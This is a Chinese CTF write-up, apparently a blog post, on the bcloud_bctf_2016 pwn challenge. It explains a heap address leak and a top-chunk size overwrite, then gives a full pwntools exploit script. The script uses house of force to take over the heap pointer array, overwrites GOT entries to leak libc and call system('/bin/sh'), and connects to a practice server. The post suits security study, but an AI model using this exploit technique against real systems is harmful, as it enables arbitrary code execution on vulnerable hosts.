bcloud_bctf_2016(house of force)

161 篇文章 9 订阅
161 篇文章 9 订阅

bcloud_bctf_2016

首先检查一下程序的保护机制

然后,我们用IDA分析一下,主逻辑里面没有什么问题

漏洞点在于最开始的地方,输入name的时候,由于malloc是在输入之后,因此,v2处s的0截断字符会被覆盖为堆指针,从而strcpy的时候把堆指针的值也复制进去,造成了堆地址泄露。

另一个漏洞在于这里,也是同样的问题,可以造成top chunk的size被修改为v3的值。

由于程序没有开启PIE。因此top chunk与程序段间的offset我们就能计算出来了。达到了house of force的条件,我们将top chunk移到堆指针数组处,然后分配一个堆,就能自由控制堆指针数组,实现任意地址读写。

#coding:utf8
from pwn import *
from LibcSearcher import *

#house of  force
#sh = process('./bcloud_bctf_2016')
sh = remote('node3.buuoj.cn',25777)
elf = ELF('./bcloud_bctf_2016')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
heap_array_addr = 0x0804B120
sh.sendafter('Input your name:','a'*0x40)
sh.recvuntil('a'*0x40)
heap_addr = u32(sh.recv(4))
print 'heap_addr=',hex(heap_addr)
sh.sendafter('Org:','a'*0x40)
#修改top chunk的size
sh.sendlineafter('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0xD0
print 'top_chunk_addr=',hex(top_chunk_addr)

def add(size,content):
   sh.sendlineafter('option--->>','1')
   sh.sendlineafter('Input the length of the note content:',str(size))
   sh.sendafter('Input the content:',content)

def edit(index,content):
   sh.sendlineafter('option--->>','3')
   sh.sendlineafter('Input the id:',str(index))
   sh.sendafter('Input the new content:',content)

def delete(index):
   sh.sendlineafter('option--->>','4')
   sh.sendlineafter('Input the id:',str(index))
offset = heap_array_addr - top_chunk_addr - 0x10
add(offset,'') #0
#现在top chunk移到了heap_array_addr-0x8处,我们可以控制heap_array了
add(0x18,'\n') #1

#修改heap_array
edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00')
#修改free的got表为puts的plt表
edit(1,p32(puts_plt) + '\n')
#泄露puts的地址
delete(2)
sh.recv(1)
puts_addr = u32(sh.recv(4))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
#修改free的got表为system地址
edit(1,p32(system_addr) + '\n')
#getshell
delete(3)

sh.interactive()

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值